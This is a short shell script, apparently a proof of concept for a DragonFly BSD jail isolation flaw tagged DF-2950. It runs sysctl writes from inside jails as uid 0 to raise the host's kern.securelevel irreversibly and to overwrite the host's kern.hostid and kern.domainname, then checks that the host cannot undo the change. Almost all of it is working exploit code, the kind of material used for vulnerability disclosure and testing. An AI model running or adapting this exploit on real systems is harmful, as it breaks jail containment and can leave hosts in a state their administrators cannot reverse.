#!/bin/sh
# DF-2950 PoC: jailed uid-0 writes HOST-global sysctl MIBs
# (kern.securelevel irreversible raise, kern.hostid, kern.domainname)
# Run as HOST root on the DragonFly guest.
# Expected (vulnerable): jailed root succeeds on all three writes;
# host root afterwards CANNOT undo kern.securelevel (EPERM).
set -x
date
uname -a
sysctl kern.securelevel kern.hostid kern.domainname

echo '=== [1] jailed uid-0 raises HOST kern.securelevel ==='
jail / df2950ja 127.0.0.4 /bin/sh -c 'id; sysctl -w kern.securelevel=1'
echo "jail securelevel write rc=$?"

echo '=== [2] HOST root tries to lower it back ==='
sysctl -w kern.securelevel=0
echo "host-root lower rc=$?"
sysctl kern.securelevel

echo '=== [3] jailed uid-0 corrupts HOST kern.hostid / kern.domainname ==='
jail / df2950jb 127.0.0.4 /bin/sh -c 'sysctl -w kern.hostid=4242; sysctl -w kern.domainname=pwned-by-jail'
sysctl kern.hostid kern.domainname

echo '=== [4] jailed NON-root is denied (uid gate works) ==='
jail / df2950jc 127.0.0.4 /bin/sh -c 'su -m nobody -c "id; sysctl -w kern.hostid=7"'
echo "jailed-nobody rc=$?"
sysctl kern.hostid

echo '=== [5] host UNPRIVILEGED user is denied ==='
sysctl -w kern.hostid=7
echo "host-unpriv rc=$?"

echo '=== [6] hostname stays properly jail-scoped (CTLFLAG_PRISON + cap) ==='
hostname
jail / df2950jd 127.0.0.4 /bin/sh -c 'hostname; hostname jail-scoped-host; hostname'
hostname
date